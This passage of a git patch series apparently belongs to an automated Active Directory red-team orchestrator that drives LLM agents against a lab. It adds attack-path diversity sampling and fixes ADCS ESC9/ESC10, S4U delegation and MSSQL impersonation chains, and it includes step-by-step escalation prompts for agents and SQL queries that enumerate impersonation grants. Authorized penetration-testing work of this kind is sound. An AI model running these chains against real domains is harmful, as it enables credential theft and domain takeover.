2.0]; + assert_eq!(softmax_select_index(&p, -1.0, &mut rng), Some(1)); + } + + #[test] + fn single_candidate_always_selected() { + let mut rng = StdRng::seed_from_u64(7); + assert_eq!(softmax_select_index(&[42.0], 2.0, &mut rng), Some(0)); + } + + #[test] + fn high_temperature_spreads_selection() { + // With equal priorities and T>0, both indices should be picked over many + // draws (i.e. it is not collapsing to argmin). + let mut rng = StdRng::seed_from_u64(123); + let p = [1.0, 1.0]; + let mut counts = [0usize; 2]; + for _ in 0..2000 { + let i = softmax_select_index(&p, 1.0, &mut rng).unwrap(); + counts[i] += 1; + } + assert!(counts[0] > 200, "index 0 picked {} times", counts[0]); + assert!(counts[1] > 200, "index 1 picked {} times", counts[1]); + } + + #[test] + fn lower_priority_favored_at_moderate_temperature() { + // Priority 1 should be sampled far more often than priority 9 at T=1. + let mut rng = StdRng::seed_from_u64(99); + let p = [1.0, 9.0]; + let mut low = 0usize; + for _ in 0..2000 { + if softmax_select_index(&p, 1.0, &mut rng).unwrap() == 0 { + low += 1; + } + } + assert!(low > 1900, "low-priority chosen only {low}/2000 times"); + } + + #[test] + fn step_key_lowercases_type() { + assert_eq!(step_key("ADCS_ESC1", "10.0.0.1"), "adcs_esc1:10.0.0.1"); + } + + #[test] + fn key_helpers_use_expected_prefixes() { + assert_eq!(novelty_key("camp-a"), "ares:novelty:camp-a:steps"); + assert_eq!(path_record_key("op1"), "ares:op:op1:path_record"); + assert_eq!(coverage_key("op1"), "ares:op:op1:coverage"); + } + + #[test] + fn path_step_roundtrip() { + let s = PathStep { + foothold: "svc@contoso.local".into(), + technique: "esc1".into(), + target: "10.0.0.5".into(), + }; + let j = serde_json::to_string(&s).unwrap(); + let back: PathStep = serde_json::from_str(&j).unwrap(); + assert_eq!(s, back); + } +} diff --git a/ares-cli/src/orchestrator/exploitation.rs b/ares-cli/src/orchestrator/exploitation.rs index cae1d031a..9661b30be 100644 --- a/ares-cli/src/orchestrator/exploitation.rs +++ b/ares-cli/src/orchestrator/exploitation.rs @@ -16,6 +16,7 @@ use tracing::{debug, info, warn}; use ares_core::models::VulnerabilityInfo; use crate::orchestrator::automation::EXPLOITABLE_ESC_TYPES; +use crate::orchestrator::diversity; use crate::orchestrator::dispatcher::Dispatcher; fn is_automation_owned_vuln(vtype: &str) -> bool { @@ -232,27 +233,98 @@ pub async fn exploitation_workflow( } } -/// Pop the lowest-score (highest-priority) vulnerability from the ZSET. +/// Pop a vulnerability from the priority ZSET. +/// +/// Default (deterministic) behaviour: `ZPOPMIN` — the lowest-score, i.e. +/// highest-priority, vuln. When attack-path diversity is engaged +/// (`selection_temperature > 0` or `novelty_enabled`), instead peek the top +/// candidates, optionally penalise steps already walked by prior runs, then +/// softmax-sample one (see `diversity`). This is what spreads the fleet across +/// distinct attack paths instead of every run draining the queue identically. async fn pop_next_vuln(dispatcher: &Dispatcher) -> Result> { let key = dispatcher.state.vuln_queue_key().await; let mut conn = dispatcher.queue.connection(); + let strategy = &dispatcher.config.strategy; - // ZPOPMIN returns the member with the lowest score - let result: Vec<(String, f64)> = redis::cmd("ZPOPMIN") + // Fast path: no diversity levers → exact previous behaviour, atomic ZPOPMIN. + if strategy.selection_temperature <= 0.0 && !strategy.novelty_enabled { + let result: Vec<(String, f64)> = redis::cmd("ZPOPMIN") + .arg(&key) + .arg(1) + .query_async(&mut conn) + .await + .unwrap_or_default(); + return match result.into_iter().next() { + Some((json, _score)) => { + let vuln: VulnerabilityInfo = serde_json::from_str(&json) + .map_err(|e| anyhow::anyhow!("Bad vuln JSON: {e}"))?; + Ok(Some(vuln)) + } + None => Ok(None), + }; + } + + // Diversity path: peek the top-K candidates by score. + let candidates: Vec<(String, f64)> = redis::cmd("ZRANGEBYSCORE") .arg(&key) - .arg(1) + .arg("-inf") + .arg("+inf") + .arg("WITHSCORES") + .arg("LIMIT") + .arg(0) + .arg(diversity::CANDIDATE_LIMIT) .query_async(&mut conn) .await .unwrap_or_default(); - match result.into_iter().next() { - Some((json, _score)) => { - let vuln: VulnerabilityInfo = - serde_json::from_str(&json).map_err(|e| anyhow::anyhow!("Bad vuln JSON: {e}"))?; - Ok(Some(vuln)) + let parsed: Vec<(String, VulnerabilityInfo)> = candidates + .into_iter() + .filter_map(|(json, _)| { + serde_json::from_str::(&json) + .ok() + .map(|v| (json, v)) + }) + .collect(); + if parsed.is_empty() { + return Ok(None); + } + + // Base selection weight is the vuln priority (lower = more urgent). + let mut priorities: Vec = parsed.iter().map(|(_, v)| v.priority as f32).collect(); + + // Novelty: penalise candidates whose (technique, target) step was already + // walked by a prior run in this scope, pushing the fleet onto the tail. + if strategy.novelty_enabled { + let steps: Vec = parsed + .iter() + .map(|(_, v)| diversity::step_key(&v.vuln_type, &v.target)) + .collect(); + let seen = diversity::novelty_seen(&mut conn, &strategy.novelty_scope, &steps).await; + for (i, was_seen) in seen.iter().enumerate() { + if *was_seen { + priorities[i] += diversity::NOVELTY_PENALTY; + } } - None => Ok(None), } + + // Scope the (non-Send) thread RNG so it is dropped before the await below, + // keeping the workflow future Send. + let selected = { + let mut rng = rand::thread_rng(); + diversity::softmax_select_index(&priorities, strategy.selection_temperature, &mut rng) + }; + let Some(idx) = selected else { + return Ok(None); + }; + + // Remove the chosen member. Single-orchestrator ownership makes the + // peek-then-remove race-free in practice (same pattern as `pop_best`). + let (chosen_json, chosen_vuln) = parsed + .into_iter() + .nth(idx) + .expect("softmax index within bounds"); + let _: i64 = conn.zrem(&key, &chosen_json).await.unwrap_or(0); + Ok(Some(chosen_vuln)) } /// Re-enqueue a vulnerability into the ZSET (e.g., after throttle rejection). diff --git a/ares-cli/src/orchestrator/mod.rs b/ares-cli/src/orchestrator/mod.rs index 0d4b1c0dd..b5570aefb 100644 --- a/ares-cli/src/orchestrator/mod.rs +++ b/ares-cli/src/orchestrator/mod.rs @@ -20,6 +20,7 @@ mod completion; mod config; mod cost_summary; mod deferred; +mod diversity; mod dispatcher; mod exploitation; mod llm_runner; diff --git a/ares-cli/src/orchestrator/result_processing/mod.rs b/ares-cli/src/orchestrator/result_processing/mod.rs index 5f2660a50..474c9f226 100644 --- a/ares-cli/src/orchestrator/result_processing/mod.rs +++ b/ares-cli/src/orchestrator/result_processing/mod.rs @@ -292,6 +292,35 @@ pub async fn process_completed_task( warn!(err = %e, vuln_id = %vuln_id, "Failed to mark vulnerability exploited"); } create_exploitation_timeline_event(dispatcher, &vuln_id, task_id).await; + + // Attack-path diversity: record the walked + // (foothold, technique, target) step for coverage measurement + // and cross-run novelty bias. Inert unless emit_path_records or + // novelty_enabled is set (see docs/attack-path-diversity.md). + let strategy = &dispatcher.config.strategy; + if strategy.emit_path_records || strategy.novelty_enabled { + let vuln_type = task_params_snapshot + .get("vuln_type") + .and_then(|v| v.as_str()) + .unwrap_or(vuln_id.as_str()); + let target = task_params_snapshot + .get("target") + .and_then(|v| v.as_str()) + .or(task_target_ip.as_deref()) + .unwrap_or(""); + let mut conn = dispatcher.queue.connection(); + crate::orchestrator::diversity::record_step( + &mut conn, + &dispatcher.config.operation_id, + &strategy.novelty_scope, + cred_key.as_deref(), + vuln_type, + target, + strategy.emit_path_records, + strategy.novelty_enabled, + ) + .await; + } } else { // Record failed exploit attempts as timeline events so they appear // in reports (e.g. noPac patched, PrintNightmare patched, Certifried diff --git a/docs/attack-path-diversity.md b/docs/attack-path-diversity.md index f263544a5..b02dd5961 100644 --- a/docs/attack-path-diversity.md +++ b/docs/attack-path-diversity.md @@ -4,6 +4,28 @@ How to get from "launch 100 runs, see ~1 path" to "launch 100 runs, get 80–100 unique attack paths." This is a *diversity* objective, not a *success* objective — the levers are different. +## Implementation status + +Landed (this change): the orchestrator-side levers and instrumentation — +Phase 0 (path records + coverage) and Phase 1 (softmax selection, cross-run +novelty memory, randomized entry foothold). All gated by `operation:` config +keys in `config/ares.yaml` and **off by default**, so deterministic behaviour is +unchanged until an operator opts in. + +- `selection_temperature` → softmax sampling in `pop_next_vuln` + (`exploitation.rs`) and `pop_best` (`deferred.rs`); 0.0 = exact argmin. +- `novelty.enabled` / `novelty.scope` → cross-run prefix avoidance via a scoped + Redis set (`ares:novelty:{scope}:steps`), penalising already-walked + `(technique, target)` steps. +- `emit_path_records` → per-run path record (`ares:op:{id}:path_record`) and + coverage set (`ares:op:{id}:coverage`) emitted on exploit success. +- `randomize_entry_foothold` → shuffles the entry recon targets in `bootstrap.rs`. + +Still outstanding: **Phase 2** (recon→vuln enumeration of the dark families — +MSSQL impersonation/linked-server, delegation, advanced ADCS) and **Phase 3** +(lab principals). Selection diversity is necessary but not sufficient for 80–100 +unique paths until the dark families actually enter the queue. + ## TL;DR The lab is not the limiter. The orchestrator is. Provisioning already supports From 92a95ee2cc96884d5bfc347090dd05d531a7d21d Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 15:45:49 -0700 Subject: [PATCH 3/6] refactor: rebalance technique weights and document attack-path audit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Changed:** - De-dominated `acl_abuse` from priority 1 → 3 and lifted `mssql_impersonation` and `mssql_linked` to priority 3 so ACL, MSSQL, and delegation families compete on equal footing instead of ACL draining the queue every run - `config/ares.yaml` - Added `rbcd: 2` weight entry to explicitly control RBCD priority alongside other delegation techniques - `config/ares.yaml` - Expanded attack-path diversity doc with Phase 2 audit findings clarifying that missing enumeration was a false premise; the real gaps are routing/parsing/provisioning correctness bugs, with a table of 8 outstanding issues mapped to exact file:line fix sites - `docs/attack-path-diversity.md` --- config/ares.yaml | 12 +++++++++++- docs/attack-path-diversity.md | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 43 insertions(+), 1 deletion(-) diff --git a/config/ares.yaml b/config/ares.yaml index ed2197a6b..7c969b0b3 100644 --- a/config/ares.yaml +++ b/config/ares.yaml @@ -49,13 +49,23 @@ operation: # Per-technique priority overrides (lower = higher priority, 1-10). # Merged on top of the preset defaults. Overrides vulnerability_priorities below. + # + # Rebalanced for attack-path diversity (see docs/attack-path-diversity.md): + # acl_abuse was 1 (top priority), so the high-volume ACL graph drained first + # every run and crowded out the MSSQL families, which fell back to their + # vulnerability_priorities defaults of 10/11 and were effectively starved. + # ACL is de-dominated to 3 and the MSSQL impersonation/linked-server families + # are lifted to 3 so all three families compete on a level footing. technique_weights: esc1: 1 esc4: 1 - acl_abuse: 1 constrained_delegation: 2 unconstrained_delegation: 2 + rbcd: 2 + acl_abuse: 3 mssql_access: 3 + mssql_impersonation: 3 + mssql_linked: 3 # LLM temperature override (0.0-2.0). Higher values = more creative technique # selection. None/omit = provider default. diff --git a/docs/attack-path-diversity.md b/docs/attack-path-diversity.md index b02dd5961..b304cd5c1 100644 --- a/docs/attack-path-diversity.md +++ b/docs/attack-path-diversity.md @@ -26,6 +26,38 @@ MSSQL impersonation/linked-server, delegation, advanced ADCS) and **Phase 3** (lab principals). Selection diversity is necessary but not sufficient for 80–100 unique paths until the dark families actually enter the queue. +## Phase 2 audit findings (recon→queue coverage) + +The original premise — "whole families are dark / never enumerated" — turned out +to be **false** for the current codebase. MSSQL impersonation + linked-server, +delegation (constrained/unconstrained/RBCD), and ADCS (ESC 1–15) are all +enumerated → parsed → registered → queued → exploited by existing modules. The +real gaps are **routing/parsing/provisioning correctness bugs**, not missing +enumeration. Audited against the lab spec +(`../DreadOps/apps/DreadGOAD/docs/domain-compromise-paths.md`); each item below is +confirmed by reading code, with file:line. + +Done in this change: + +- **Queue rebalance** (`config/ares.yaml`). `acl_abuse` was priority 1 (top), so + the high-volume ACL graph drained first every run and starved the MSSQL + families (which fell back to 10/11). ACL de-dominated to 3; MSSQL + impersonation/linked lifted to 3. This is the "rebalance the ACL flood" lever. + +Outstanding (each its own validated fix — some need ansible/container changes, +so deliberately *not* bundled into this PR): + +| # | Family | Gap | Fix site | +|---|---|---|---| +| 1 | ADCS | **ESC9 & ESC10 categorically fail** — routed to `privesc`, but the UPN-write tool `bloodyad_set_object_attr` is `acl`-only. Neither container has both `bloodyAD` *and* `certipy`. | split-dispatch automation, or add a tool to a container (`ansible/`) + `adcs_exploitation.rs:637-641` | +| 2 | Delegation | Kerberos-only constrained (N6) parsed identically to protocol-transition (N4) → wrong S4U payload, always fails S4U2Self. | `ares-tools/src/parsers/delegation.rs:37-43` (add `protocol_transition` flag) + `s4u.rs` payload branch | +| 3 | MSSQL | Impersonation target hardcoded to `"sa"` → grantee→non-sa logins (e.g. brandon→jon.snow) never fire deterministically. | `mssql_exploitation.rs:364` | +| 4 | MSSQL | `vuln_id = mssql_impersonation_{host}` is per-host → `HSETNX` collapses multiple grants on one host into one. | `ares-tools/src/parsers/mssql.rs:59` (per-grantee key) | +| 5 | MSSQL | DB-level `EXECUTE AS USER=dbo` never enumerated — parser queries `sys.server_permissions` only, not `sys.database_permissions`. | `ares-tools/src/parsers/mssql.rs:76` | +| 6 | MSSQL | Linked-server objective steers the LLM to unparsed `mssql_command`/`mssql_exec_linked` → `mssql_linked_server` vulns often never register → cross-forest pivots don't trigger. | `mssql_exploitation.rs:222` + parser dispatch | +| 7 | ADCS | ESC4 picks first same-domain cred instead of the GenericAll holder (parser drops the holder) → abandoned before the right cred lands. | `ares-tools/src/parsers/certipy.rs:63-103` | +| 8 | Delegation | RBCD rows from findDelegation misclassified as constrained (latent; ACL path covers the live lab path). A correct classifier exists but is uncalled. | wire `ares-core/src/parsing/delegation.rs:92-103` into `parse_tool_output` | + ## TL;DR The lab is not the limiter. The orchestrator is. Provisioning already supports From bfa9fb8021d7e50410792517883c80e915a45ff5 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Thu, 25 Jun 2026 16:00:52 -0700 Subject: [PATCH 4/6] feat: fix eight attack-path gaps across ADCS, delegation, and MSSQL MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Added:** - `certipy_account_update` tool to the privesc worker — enables ESC9/ESC10 UPN manipulation chains entirely on the privesc container (where `certipy` is installed), eliminating the prior dependency on the `acl`-only `bloodyAD` tool; wired into `dispatch` and the ADCS tool registry with full input schema - `protocol_transition` flag to S4U payload — surfaces kerberos-only constrained delegation to the worker with explicit S4U2Proxy-only guidance, preventing the always-failing S4U2Self attempt on kerberos-only accounts - `impersonate_target` field to `ImpersonationWork` — captures the enumerated grantee→target login pair and threads it into the `impersonate_user` probe arg, replacing the hardcoded `sa` fallback - Per-grant structured parsing in `parse_mssql_impersonation` — emits one vuln per `(scope, grantee, target)` triple with `impersonate_target` in details; falls back to legacy `SELECT *` output; legacy vuln_id now includes the authenticating username to avoid `HSETNX` collisions - RBCD classification in the delegation parser — checks `resource`/`rbcd` before `constrained` so "Resource-Based Constrained Delegation" rows are no longer misrouted to S4U automation; emits bare `rbcd` vuln_type at priority 6 - Write-holder principal capture in `parse_certipy_find` — extracts the sAMAccountName from ESC4/7/9/10 lines and sets `account_name`/`write_holder` in details so credential selection targets the GenericAll/Write holder rather than any domain user **Changed:** - `mssql_enum_impersonation` query — resolves principal IDs to names and the impersonation target login; also queries `master` and `msdb` `sys.database_permissions` to capture database-scoped `EXECUTE AS USER` grants that the server-only view misses entirely - MSSQL deep-objectives #4 and #5 — now direct the LLM to call `mssql_enum_impersonation` and `mssql_enum_linked_servers` (parsed tools) instead of raw `SELECT` statements, so impersonation and linked-server findings register and trigger automation - ESC9/ESC10 instructions rewritten to reference `certipy_account_update` step-by-step and explicitly prohibit `bloodyAD` on the privesc worker - `build_s4u_payload` surfaces `protocol_transition` bool and injects a `note_kerberos_only` field when false, guiding the worker to obtain a TGT and perform S4U2Proxy only - `build_impersonation_work` reads `impersonate_target` from vuln details (falls back to `sa`); `build_impersonation_args` uses the per-grant value instead of the module-level constant - Delegation parser sets `protocol_transition` in details for constrained rows and assigns RBCD priority 6 vs constrained 8 / unconstrained 7 - `attack-path-diversity.md` updated from "outstanding" gap table to a resolved-fixes table reflecting all eight items addressed in this change --- .../automation/adcs_exploitation.rs | 21 ++-- .../automation/mssql_exploitation.rs | 44 +++++-- ares-cli/src/orchestrator/automation/s4u.rs | 24 ++++ ares-llm/src/tool_registry/privesc/adcs.rs | 40 +++++++ ares-tools/src/lateral/mssql.rs | 25 +++- ares-tools/src/lib.rs | 1 + ares-tools/src/parsers/certipy.rs | 72 ++++++++++++ ares-tools/src/parsers/delegation.rs | 60 +++++++++- ares-tools/src/parsers/mssql.rs | 109 ++++++++++++++++-- ares-tools/src/privesc/adcs.rs | 34 ++++++ docs/attack-path-diversity.md | 23 ++-- 11 files changed, 411 insertions(+), 42 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs index 10767585b..ae76e80e8 100644 --- a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -1800,17 +1800,24 @@ fn esc_instructions(esc_type: &str) -> &'static str { ), "esc9" => concat!( "ESC9: GenericAll on a user allows UPN spoofing.\n", - "If you have GenericAll on a user, change their UPN to administrator@,\n", - "request a cert using the modified user, then restore the original UPN.\n", - "Use certipy_request (with target=ca_host) then certipy_auth.\n", - "IMPORTANT: Set target to the ca_host IP, not the dc_ip." + "Step 1: certipy_account_update with user=, upn=administrator@, dc_ip=.\n", + " (account_name in the payload is the GenericAll holder you authenticate as.)\n", + "Step 2: certipy_request as the controlled user with target=ca_host — the cert is\n", + " issued for the spoofed administrator UPN.\n", + "Step 3: certipy_account_update again to RESTORE the original upn (cleanup).\n", + "Step 4: certipy_auth with the resulting .pfx to recover the administrator hash.\n", + "Do NOT use bloodyAD here — certipy_account_update is the on-host UPN primitive.\n", + "IMPORTANT: Set the request target to the ca_host IP, not the dc_ip." ), "esc10" => concat!( "ESC10: Weak Certificate Mapping (StrongCertificateBindingEnforcement=0).\n", "The DC does not enforce strong cert-to-account binding.\n", - "Use certipy_request with template, ca, target=ca_host, and sid=admin_sid.\n", - "The -sid flag embeds the target SID in the cert, bypassing weak mapping.\n", - "IMPORTANT: Set target to the ca_host IP, not the dc_ip.\n", + "Case 1 (UPN): certipy_account_update to set a controlled user's upn to the victim's,\n", + " then certipy_request as that user (target=ca_host), then restore the upn.\n", + "Case 2 (schannel/SID): certipy_request with template, ca, target=ca_host, sid=admin_sid;\n", + " the -sid flag embeds the target SID in the cert, bypassing weak mapping.\n", + "Use certipy_account_update (NOT bloodyAD) for any UPN manipulation step.\n", + "IMPORTANT: Set the request target to the ca_host IP, not the dc_ip.\n", "Then use certipy_auth with the resulting .pfx." ), "esc11" => concat!( diff --git a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs index 491c83b1d..46010f58e 100644 --- a/ares-cli/src/orchestrator/automation/mssql_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/mssql_exploitation.rs @@ -218,8 +218,8 @@ fn mssql_deep_objectives() -> Vec<&'static str> { "1. Enable xp_cmdshell, run `whoami` to confirm code execution. If that returns SYSTEM or a privileged service account, call task_complete with the evidence.", "2. Run `whoami /priv` via xp_cmdshell and include the FULL privilege table verbatim in tool_outputs. The orchestrator parses SeImpersonatePrivilege Enabled and credits the seimpersonate primitive automatically. No further potato/PrintSpoofer escalation needed in this task.", "3. If current login is not sysadmin, try EXECUTE AS LOGIN = 'sa'. If it succeeds, call task_complete — that's a sysadmin pivot and the orchestrator will chain xp_cmdshell + secretsdump from there.", - "4. Enumerate impersonatable logins ONCE: SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'. For each (max 3 attempts), try EXECUTE AS LOGIN = '' + IS_SRVROLEMEMBER('sysadmin'). First sysadmin hit → call task_complete.", - "5. Enumerate linked servers ONCE: SELECT s.name, s.is_rpc_out_enabled, l.uses_self_credential, l.remote_name FROM sys.servers s LEFT JOIN sys.linked_logins l ON s.server_id = l.server_id. Try `mssql_exec_linked` (or `mssql_openquery` when uses_self_credential=0) against the first link with rpc_out_enabled=1. First confirmed remote SELECT → call task_complete.", + "4. Enumerate impersonatable logins ONCE by calling the `mssql_enum_impersonation` tool (NOT a raw SELECT) — its output is parsed and auto-registers each (grantee → target) impersonation grant, including database-scoped EXECUTE AS USER, so the orchestrator can chain them. Then for each impersonatable target (max 3 attempts), try EXECUTE AS LOGIN = '' + IS_SRVROLEMEMBER('sysadmin'). First sysadmin hit → call task_complete.", + "5. Enumerate linked servers ONCE by calling the `mssql_enum_linked_servers` tool (NOT a raw SELECT or mssql_command) — its output is parsed and auto-registers each linked server as an mssql_linked_server finding, which the orchestrator's link-pivot automation then exploits. After it runs, try `mssql_exec_linked` (or `mssql_openquery` when uses_self_credential=0) against the first rpc_out-enabled link. First confirmed remote SELECT → call task_complete.", "If steps 1–5 all surfaced no win, call task_complete with status describing exactly what failed (e.g. `not sysadmin, no impersonatable logins, links exist but all rpc_out_enabled=0`). DO NOT try TRUSTWORTHY DB owner chains, in-memory secret dumps, or extended enumeration — those are lower-priority and the orchestrator will dispatch them as separate tasks if needed.", ] } @@ -355,12 +355,14 @@ pub(crate) struct ImpersonationWork { /// the rationale. pub(crate) account_name: String, pub(crate) account_domain: String, + /// The login/user this grantee can `EXECUTE AS`, captured by the enricher + /// enumeration query. Falls back to `sa` when unknown. + pub(crate) impersonate_target: String, } -/// Default `EXECUTE AS LOGIN` target. `sa` is the SQL Server super-user and -/// the canonical escalation target for IMPERSONATE; making `account_name` -/// impersonate itself is a no-op. Future work can plug a per-target -/// candidate list (e.g. enumerated high-priv logins). +/// Default `EXECUTE AS LOGIN` target when the enumeration did not capture a +/// specific impersonation target. `sa` is the SQL Server super-user and the +/// canonical escalation target for IMPERSONATE. const IMPERSONATION_TARGET_LOGIN: &str = "sa"; async fn collect_impersonation_work(dispatcher: &Dispatcher) -> Vec { @@ -417,12 +419,23 @@ pub(crate) fn build_impersonation_work( return None; } + // Use the enumerated impersonation target (e.g. brandon.stark → jon.snow) + // rather than always probing `sa`, which only fires the direct-to-sa grants. + let impersonate_target = vuln + .details + .get("impersonate_target") + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + .unwrap_or(IMPERSONATION_TARGET_LOGIN) + .to_string(); + Some(ImpersonationWork { vuln_id: vuln.vuln_id.clone(), dedup_key, target_ip, account_name: cred.username, account_domain: cred.domain, + impersonate_target, }) } @@ -434,7 +447,7 @@ pub(crate) fn build_impersonation_args(item: &ImpersonationWork) -> Value { let mut args = json!({ "target": item.target_ip, "username": item.account_name, - "impersonate_user": IMPERSONATION_TARGET_LOGIN, + "impersonate_user": item.impersonate_target, "query": IMPERSONATION_PROBE_QUERY, }); if !item.account_domain.is_empty() { @@ -850,6 +863,7 @@ mod tests { target_ip: "192.168.58.51".into(), account_name: "svc_sql".into(), account_domain: String::new(), + impersonate_target: "sa".into(), }; let args = build_impersonation_args(&item); assert!(args.get("domain").is_none()); @@ -857,6 +871,22 @@ mod tests { assert_eq!(args["impersonate_user"], "sa"); } + #[test] + fn impersonation_args_use_captured_target() { + // A grantee → non-sa login must probe that login, not always sa. + let item = ImpersonationWork { + vuln_id: "v2".into(), + dedup_key: "v2:brandon.stark".into(), + target_ip: "192.168.58.51".into(), + account_name: "brandon.stark".into(), + account_domain: "north.local".into(), + impersonate_target: "jon.snow".into(), + }; + let args = build_impersonation_args(&item); + assert_eq!(args["impersonate_user"], "jon.snow"); + assert_eq!(args["domain"], "north.local"); + } + #[test] fn max_impersonation_attempts_is_bounded() { // Sanity check — match the link-pivot bound so the retry cost is diff --git a/ares-cli/src/orchestrator/automation/s4u.rs b/ares-cli/src/orchestrator/automation/s4u.rs index 6aa217660..2e63842b7 100644 --- a/ares-cli/src/orchestrator/automation/s4u.rs +++ b/ares-cli/src/orchestrator/automation/s4u.rs @@ -330,6 +330,30 @@ pub(crate) fn build_s4u_payload(item: &S4uWork) -> Value { } } + // Surface protocol-transition so the worker picks the right S4U flow. + // Kerberos-only constrained delegation (protocol_transition=false) cannot + // perform S4U2Self — impacket-getST -impersonate fails at the S4U2Self step. + // It must instead use an existing TGT for the delegating account (e.g. the + // machine-account TGT obtained via -k -no-pass after extracting it) and do + // S4U2Proxy only. Default true preserves the standard getST flow for + // protocol-transition and plain-"Constrained" rows. + let protocol_transition = item + .vuln + .details + .get("protocol_transition") + .and_then(|v| v.as_bool()) + .unwrap_or(true); + payload["protocol_transition"] = json!(protocol_transition); + if !protocol_transition { + payload["note_kerberos_only"] = json!( + "Kerberos-only constrained delegation: S4U2Self is NOT permitted for \ + this account. Do NOT run a plain getST -impersonate (it fails at \ + S4U2Self). Obtain a TGT for the delegating account first (machine \ + account: extract its hash/AES via secretsdump, then getTGT, or use \ + -k -no-pass with an existing ccache) and perform S4U2Proxy only." + ); + } + payload["vuln_id"] = json!(item.vuln.vuln_id); payload } diff --git a/ares-llm/src/tool_registry/privesc/adcs.rs b/ares-llm/src/tool_registry/privesc/adcs.rs index 615f3e01f..60ff53d5c 100644 --- a/ares-llm/src/tool_registry/privesc/adcs.rs +++ b/ares-llm/src/tool_registry/privesc/adcs.rs @@ -200,6 +200,46 @@ pub fn definitions() -> Vec { "required": ["domain", "username", "password", "dc_ip", "template"] }), }, + ToolDefinition { + name: "certipy_account_update".into(), + description: "Modify a target account's userPrincipalName via certipy (account \ + update). The primitive for ESC9 (set a GenericAll-controlled user's UPN to \ + administrator@, request a cert with the spoofed UPN, then restore the \ + original UPN) and ESC10 (UPN manipulation for weak implicit cert mapping). \ + Runs on the privesc worker alongside certipy_request/certipy_auth so the whole \ + chain completes on one host." + .into(), + input_schema: json!({ + "type": "object", + "properties": { + "domain": { + "type": "string", + "description": "Domain of the authenticating account (e.g. essos.local)" + }, + "username": { + "type": "string", + "description": "Authenticating user — must have GenericAll/Write over the target account" + }, + "password": { + "type": "string", + "description": "Password for the authenticating user" + }, + "user": { + "type": "string", + "description": "Target account whose userPrincipalName is being changed" + }, + "upn": { + "type": "string", + "description": "New userPrincipalName (e.g. administrator@); pass the original value to restore it afterward" + }, + "dc_ip": { + "type": "string", + "description": "Domain controller IP address" + } + }, + "required": ["domain", "username", "password", "user", "upn", "dc_ip"] + }), + }, ToolDefinition { name: "certipy_esc4_full_chain".into(), description: "Execute the full ESC4 exploit chain: modify a vulnerable certificate \ diff --git a/ares-tools/src/lateral/mssql.rs b/ares-tools/src/lateral/mssql.rs index 7d392edee..ef5656984 100644 --- a/ares-tools/src/lateral/mssql.rs +++ b/ares-tools/src/lateral/mssql.rs @@ -72,8 +72,31 @@ pub async fn mssql_enable_xp_cmdshell(args: &Value) -> Result { /// /// Required args: `target`, `username` /// Optional args: `password`, `domain`, `windows_auth` +/// +/// Resolves principal IDs to names and the impersonation TARGET login (the +/// `major_id` principal) — `SELECT *` on `sys.server_permissions` only returns +/// numeric IDs, which is useless for deciding who to `EXECUTE AS`. Covers +/// server scope plus the `master` and `msdb` databases (database-level +/// `EXECUTE AS USER` grants live in `sys.database_permissions`, not the +/// server view, so server-only enumeration misses them entirely). The literal +/// `scope` column lets the parser key rows robustly. pub async fn mssql_enum_impersonation(args: &Value) -> Result { - let query = "SELECT * FROM sys.server_permissions WHERE type = 'IM';"; + let query = "\ +SELECT 'server' AS scope, gr.name AS grantee, tgt.name AS impersonate_target \ +FROM sys.server_permissions p \ +JOIN sys.server_principals gr ON p.grantee_principal_id = gr.principal_id \ +JOIN sys.server_principals tgt ON p.major_id = tgt.principal_id \ +WHERE p.permission_name = 'IMPERSONATE'; \ +SELECT 'master' AS scope, gr.name AS grantee, tgt.name AS impersonate_target \ +FROM master.sys.database_permissions p \ +JOIN master.sys.database_principals gr ON p.grantee_principal_id = gr.principal_id \ +JOIN master.sys.database_principals tgt ON p.major_id = tgt.principal_id \ +WHERE p.permission_name = 'IMPERSONATE'; \ +SELECT 'msdb' AS scope, gr.name AS grantee, tgt.name AS impersonate_target \ +FROM msdb.sys.database_permissions p \ +JOIN msdb.sys.database_principals gr ON p.grantee_principal_id = gr.principal_id \ +JOIN msdb.sys.database_principals tgt ON p.major_id = tgt.principal_id \ +WHERE p.permission_name = 'IMPERSONATE';"; mssql_query(mssql_from_args(args)?, query).await } diff --git a/ares-tools/src/lib.rs b/ares-tools/src/lib.rs index f86f89bcd..2ac0a51cd 100644 --- a/ares-tools/src/lib.rs +++ b/ares-tools/src/lib.rs @@ -165,6 +165,7 @@ pub async fn dispatch(tool_name: &str, arguments: &Value) -> Result "certipy_auth" => privesc::certipy_auth(arguments).await, "certipy_shadow" => privesc::certipy_shadow(arguments).await, "certipy_template_esc4" => privesc::certipy_template_esc4(arguments).await, + "certipy_account_update" => privesc::certipy_account_update(arguments).await, "certipy_esc4_full_chain" => privesc::certipy_esc4_full_chain(arguments).await, "certipy_esc3_full_chain" => privesc::certipy_esc3_full_chain(arguments).await, "certipy_esc1_full_chain" => privesc::certipy_esc1_full_chain(arguments).await, diff --git a/ares-tools/src/parsers/certipy.rs b/ares-tools/src/parsers/certipy.rs index 50e9032dd..aaf20c5a4 100644 --- a/ares-tools/src/parsers/certipy.rs +++ b/ares-tools/src/parsers/certipy.rs @@ -70,6 +70,19 @@ pub fn parse_certipy_find(output: &str, params: &Value) -> Vec { if !domain.is_empty() { details["domain"] = json!(domain); } + // Write-holder ESCs (GenericAll/Write on the template, ManageCA, + // GenericAll-on-user) require a SPECIFIC principal's credential, not + // just any domain user. Capture the holder certipy names on the ESC + // line so credential selection targets it (e.g. ESC4 → khal.drogo). + // find_adcs_credential falls back to any same-domain cred if the + // holder's credential isn't available yet, so this never regresses + // the any-user ESCs (esc1/2/3/6/13/15), which we leave unset. + if matches!(*esc_type, "esc4" | 